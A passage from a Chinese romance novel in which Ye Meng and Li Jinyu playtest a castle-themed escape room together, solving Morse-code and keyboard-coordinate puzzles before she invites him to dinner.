叶濛倒没因此怀疑人生,只是接触过之后,也确实对这个行业敬而远之,她知道,有些人是道德败坏,有些人是身不由己。
当然这些事她从没跟身边的人提过,事实上在北京那几年,受得所有委屈她都习惯夜晚独自一个人喝点酒,慢慢消化,因为母亲的抑郁症,怕影响她的情绪,叶濛从不喜欢跟人诉苦,那些被现实割裂、支离破碎的理想呢,她也都不再跟人提起。
因为,没人想听,也没人能懂。
-
跟方雅恩挂完电话,叶濛将笔搭在鼻尖和上唇之间,神情凝重地对着IPAD查看近几个月的招聘信息,很不幸都没有适合她的。唯一一家看着有点靠谱的广告策划公司,上面居然赤晃晃地加粗表示不找本地人。叶濛刚准备掏出手机打电话过去问问,屏幕适时亮起。
一个陌生号码。
“喂?”她接起。
“请问是叶濛,叶小姐吗?”
“是。”
“您好,我这里是城西密室逃脱店,您还记得您在一个半月前在我们店里破了三个密室的记录,是这样,我们老板想邀请您跟您的朋友过来,作为我们密室逃脱最新一季密室的试玩玩家。”
叶濛一愣,半天才想起来半个月前为了躲避大本钟的相亲和方雅恩刷爆了三个密室。
她迟疑:“可是,我的朋友她脚受伤了,恐怕不能参加了。我一个人应该不行吧?”
那边似乎跟人快速商量了一下,给出建议:“这样,您可以跟其他玩家拼一下吗?这季的密室最少要2个人哦。”
“可以。”
“那明天上午十点,我给您和另外一位玩家预约了。”
……
叶濛第二天到的还挺早,九点半就进店了,老板一眼认出她,笑眯眯地说:“小姑娘来这么早?你的同伴还没到。”
“没事,今天什么主题?”她边说边找了本推理书,坐在沙发上看了起来。
“古堡探秘。”老板神秘兮兮地说。
“恐怖的?”
老板解释说:“不怎么恐怖,就是场景有点……我看你上回玩恐怖木偶也挺淡定的。”
叶濛点点头,表示了解,她玩游戏,需要清半小时的脑子,不然没办法进入状态。
大约过了半小时,叶濛似乎听见门口的风铃叮咚一声响,朦胧间听见老板低声冲来人招呼:“哎,来了?”
然后男人低低嗯了声。
叶濛下意识偏头瞧过去,就看见李靳屿站在门口,仍是穿着那晚在酒店的黑色工装外套,运动裤,脚上一双匡威,显得那双长腿修长,脚踝清瘦有力。完全不像二十七,倒像个二十出头的小哥哥。
彼时,密室出口刚好出来两个意犹未尽的姑娘,还沉迷在刚才繁杂的密室谜题中,亢奋地大声复盘刚才的情形,嗓门如雷振鼓,吵得不行。一瞧见李靳屿,眼中顿生惊艳,两人立马面目羞赧地小声压下去,甚至还有些懊恼地剁了剁脚。
老板将人领过来,热情的介绍替他俩介绍:“这是李靳屿,帮我策划过几次密室主题。我们这里的固定试玩玩家。你之前破的那几个密室记录,都是他——”
“不用介绍了,认识,”李靳屿直接打断,“您去忙吧。”
“额,”老板只愣了一下,很快就反应过来,深知这个小镇圈子到底有多小,随便找一圈都是高中同学,很识趣地离开,“好,那你们聊。”
门外风铃一荡,又有客人进来。叶濛把手上的书放下,对他笑了下,“这么巧。”
李靳屿在她沙发边上坐下,大剌剌敞着腿,也勾了下嘴角,“我上次听老板说,有个人这么闲刷了一晚上的密室,把我的记录都破了。没想到是你。不用上班么?准备抱着你那一百万养老?”
两人并排坐着,还挺像一对刚在一起没多久的情侣的,进来的人都忍不住朝这边望了下,像两个活字招牌。服务台两个女服务员也时不时地悄悄朝那边打量,窃窃私语道:“小屿哥跟这个姐姐有点养眼。”
当事人倒是浑然不觉,并肩坐
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在一起。
“上次是意外,躲我奶奶安排的相亲,没地方去,就来刷密室了,”叶濛反问,“你不也很闲,还有空来刷密室?”
李靳屿整个人靠着沙发,漫不经心笑笑:“我来赚钱啊,你以为试玩这么轻松?要帮人修复bug的。”
叶濛盯着他看了半会儿,心生好奇问道:“李靳屿,我能问你个问题吗?”
“问。”
“你上过大学吗?”
李靳屿一愣,收了笑,侧头回视,身高的天然优势,无论站着或坐着,他永远都比她高一截,无条件碾压,垂睨着她:“为什么问这个?”
她抿唇示意他先说。
李靳屿背忽然离开沙发,倾过身拿起面前倒扣的杯子给自己倒了杯水,说:“没有。”
“高中毕业?”
他喝了口水,喉结滚动着靠回沙发上,冷淡说:“初中毕业行吗?”
叶濛点点头,知道他没说实话,也不再追问。
老板密室准备差不多,冲李靳屿打了个手势意思可以开始了,李靳屿站起来,最后喝了口水,慢悠悠地嘲了句:“怎么,名牌大学毕业的,看不起我们初中生?”
叶濛也跟着喝了口水站起来,慌忙摇头:“没有,我也不是名牌大学毕业的,你的江露芝是名牌大学毕业的,她都没有看不起你,我为什么看不起你。”
“我跟她已经分手了。”李靳屿强调。
“好,你的前女友。”
叶濛不知道是不是她太敏感,还是真的戳到他的自尊心了,真的很神奇,她跟这个弟弟可能天生气场就不太合,无论多么温柔恬静的开场白,聊到最后都会有点硝烟味。
老板已经开启了密室通道,宣布游戏开始,“来,这次场景我可是费了些功夫,也是第一次尝试这种沉浸式剧本,你们帮我检测下有什么bug,多提宝贵意见,谢谢两位大神了。我先介绍一些背景,你们现在在的位置就是城堡的入口,叶濛你是这个古堡的丫鬟,靳屿,你是这个古堡的少爷,这个古堡里藏着一些不为人知的秘密,你俩最好要角色代入……”
两人都戴着眼罩,看不见对方的表情,但叶濛明显感觉到,他绝对在笑。
叶濛:“……下次你们写点有创意的剧本,比如公主和长工。”
李靳屿:“直接开始吧。”声音带着笑意。
老板咳了声,“那我长话短说,靳屿你把眼罩摘了,然后把叶濛带到楼梯间附近一个铁笼子里。丫鬟是待解锁状态,少爷找到方法解锁丫鬟,你俩才可以一起解密室——”
叶濛被关进铁笼里后,李靳屿到不急着找线索,而是坐在沙发上仰着头东看看西看看,最后居然还在电视机旁玩起了桌上足球。他漫不经心地玩了两把,真把自己当少爷了。
“没玩过?”叶濛看着他的背影说。
“玩过。”他老实答。
“玩够了吗?姐姐看着很有耐心的样子吗?”叶濛说。
“爷也很烦呐,”李靳屿入戏得很,真像个小少爷似的,一只手掐着腰,一只手拎着一张不知道从哪儿翻出来一张地图快速记了下,随手丢到一边,叹了口气说,“老板刚给我说,外面停电了。”
14. 第十三章
十分钟后,恢复供电,少爷终于开始认真找线索了。
叶濛站在笼子里指挥,“电视机柜下面,有个密码盒,你拿过来我来解。你去找钥匙,地毯底下,柜子底下多翻翻。”
李靳屿看了眼,随手丢过去,“你那门没有锁,也没有任何肉眼能看见的解锁机制,一看就是个感应门,我能找什么钥匙。”
“反正你就多找找嘛!”叶濛盘腿坐在地上,注意力全在密码盒上,声调不自觉轻柔。
李靳屿嘴角微勾。
密码盒很夸张,是摩斯电码。叶濛是学新闻的,起初计划是未来当记者,所以暗号之类的她之前研究过很多,恰巧就研究了下摩斯电码。她一边在心里蒙五蒙六的换算,一边默默吐槽老板为了增加游戏难度,也太不顾及剧本情景和玩家的知识储备了。
她试了一脑门汗,终于打开了第一个盒子,拿到一把钥匙和几张剧情纸条,大约就是丫鬟暗恋少爷,少爷却天天花天酒地的狗血剧情。
不知道是不是被剧情渲染,叶濛将钥匙丢给门外那位少爷的时候,也带了些怨气,“喏,拿去开!”
李靳屿那边也刷到了不少剧情,背后被钥匙重重一砸,笑了下,“你这会儿倒是入戏了。”
叶濛:“这剧情太狗血了,看的我上火。怎么会有这么变态的剧情,一出去找女人就把暗恋他的丫鬟关起来。”
李靳屿哼笑了声,没接话,散漫地半坐在电视机旁的柜子上,一条线索没找,手上捏着几张纸,来回翻看,不知道在研究什么。
“这位爷,”叶濛把脑袋卡在铁笼的缝中,“照你这速度,咱俩今天还能出去么?”
密室光本就暗,笼着他修长利落的身影,英俊得也叫人有些挪不开眼。他头也没抬,注意里仍是在手头的几张纸上,慢悠悠地说:“干嘛,你很着急?”
叶濛盯着他,“那要不换你进来?”
李靳屿不知道从哪儿给自己倒了杯水,喝了口,慢条斯理说:“那不行,丫鬟怎么舍得关少爷,只有少爷舍得。”
叶濛撩拨:“那弟弟怎么舍得关姐姐呢?”
那位少爷终于百忙之中从那几张纸中抬头看了她一眼,淡淡然:“舍得。”
“你到底行不行。”她急了。
叶濛有点幽闭恐惧,她喜欢刷密室,但她不喜欢这种命运掌握在别人手里的感觉,早知道就应该让他拿丫鬟剧本。
结果下一秒,李靳屿从兜里掏出个遥控器,端着他那杯水,轻轻一摁。
见鬼的,她的门啪嗒一声弹开了。
叶濛气得简直想冲过去弹他脑门,事实上她也那么做了,“你早就找到了?”
李靳屿靠着电视机柜,瞧见朝自己跑过来的身影,下意识侧了下头躲开,笑得不行,“我说这是个bug你信吗?”
“行,你说,说不出来我把你头打爆。”
李靳屿把之前破出来的密码盒丢给她,手抄回兜里:“这门要解两道锁,一道解控,一道解锁。另外一个解控的密码盒我没找到,我就随便试了下,谁知道开了。”
叶濛看了眼,还真是,而且,密码盒还是摩斯电码。
“你懂摩斯电码?”叶濛抬头扫了他一眼。
“你不也懂?”他下巴一扬指了指刚才那把钥匙,似笑非笑说,“走吧,下一间房。”
叶濛出来才看到,一地的盒子,几乎全都是摩斯电码。他全都解了。叶濛不是每个都能记住的,解这个电码属于连蒙带猜型的,有时候撞上狗屎运,解开一两个是运气,再多就难了,李靳屿这一地洋洋洒洒、解得酣畅淋漓的密码盒,让她心头微微一颤,心里又不免对他产生好奇,他到底经历过什么啊。
之后的剧情意外顺畅,丫鬟被少爷伤透了心投湖自尽。
“所以我现在跟个鬼在解密室。”李靳屿边找线索边说,弯腰捡起一个密码盒子,这次不是摩斯电码了,是一串数字。
叶濛敲了敲墙壁上的砖,发现几个空的,是暗格,搭腔:“怪谁,谁让你天天出去花天酒地?”
李靳屿靠在墙上,随手试了几个密码。
叶濛随口问:“你输的什么?”
“爷的生日和丫鬟的生日。”他懒洋洋说。
“哟,少爷还记得丫鬟生日啊,不得了。”叶濛笑岔气,他真的入戏。
叶濛完全不记得什么少爷生日,丫鬟生日。
故事剧情在最后密室发生了反转,少爷在丫鬟投湖的第二天,将丫鬟的尸体打捞上来放在刚才叶濛待的那个小笼子里。前面三间密室全部都是丫鬟的心路历程,最后一间书房就是少爷的心迹坦白,书柜里有个很大的保险柜,里面锁着关于这个古堡的秘密,只有知道这个秘密的人,才能打开最外面的门。而这次的密码,用了双层加密。
第一层是摩斯电码,李靳屿立马将对应的数字写在了纸上,叶濛看他这反应速度,仿佛那个电码表就印在他脑海里。
“你考虑过去当特工么?”叶濛在一旁牛头不对马嘴,没头没脑地说。
李靳屿低头在解题,闻言瞥她一眼,拿笔又在纸上将数字圈出来,漫不经心地说:“怎么,你有门路?给钱吗?我考虑下。”
叶濛笑笑,看着纸上被他涂得
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乱八七糟的草稿,像一团重重迷雾,有点无处着手。
其实心里有点若隐若现的直觉,可又说不出那是什么感觉。
2931021045242721028
“你说这串数字看着奇怪不?”叶濛说,“会不会是二十六个字母。”
李靳屿无语地把密码上的锁头给她看,全是字母。
这不是明摆着吗。
叶濛思路转得很快,“或者是这样,29,31,02,10,45,24,……会不会是定位坐标?”
“不对,”李靳屿表情冷静,将数字根据他的想法重新划分,一笔笔勾过去,他似乎已经知道答案,“应该是,29,310,210,45,24,27,210,28……如果是作为定位坐标考虑,应该是这样,因为没有一样物件能用0开头,就咱们目前能用到的实物来说。你没发现前面数字都没超过4吗?”
叶濛瞬间想到,“电脑键盘。”
“聪明。”李靳屿一笑。
所以根据电脑键盘对应的字母。
29(第二行第九列)=I 310(第三行第十列)=L 210(第二行第十列)=O,以此类推。
I LOVE YOU
啪嗒,锁开了。
保险柜是空的,古堡唯一的秘密就是这道密码。解锁了少爷的心意,古堡的大门也就同时打开了。两人把对讲机交过去,老板满眼期待:“怎么样?”
“故事剧情有点狗血,其他都还行,密码太多了,摩斯电码很少有人能解,当然,除了他。”叶濛直言不讳。
老板点点头,“但很多密室爱好者都挺会解的,而且我记得上面我有放摩斯电码表啊?”
“有电码表?”
叶濛诧异,一旁李靳屿终于没憋住笑,笑得不行,跟老板说:“行了,我走了。”
男人前脚刚迈出大门,叶濛不放心又悄悄又折回问老板:“刚刚停电了吗?”
老板一脸无辜地摇摇头,“没有啊。”
“……”
叶濛一下楼,看见李靳屿站在大楼门口,给自己剥了颗糖嚼,准备打车。
她站了半天,想了一会儿,慢慢走过去,低声问了句,“要不要一起吃顿饭?”
他低头垂睨她,嚼糖的动作慢了下来,“吃什么?”
叶濛倒莫名有些紧张:“随便,我回来不是很久,对镇上不是很熟,你挑?”
李靳屿看了她一会儿,问她:“你想吃螃蟹么?”
“可以。”
“走吧,我打车。”他说。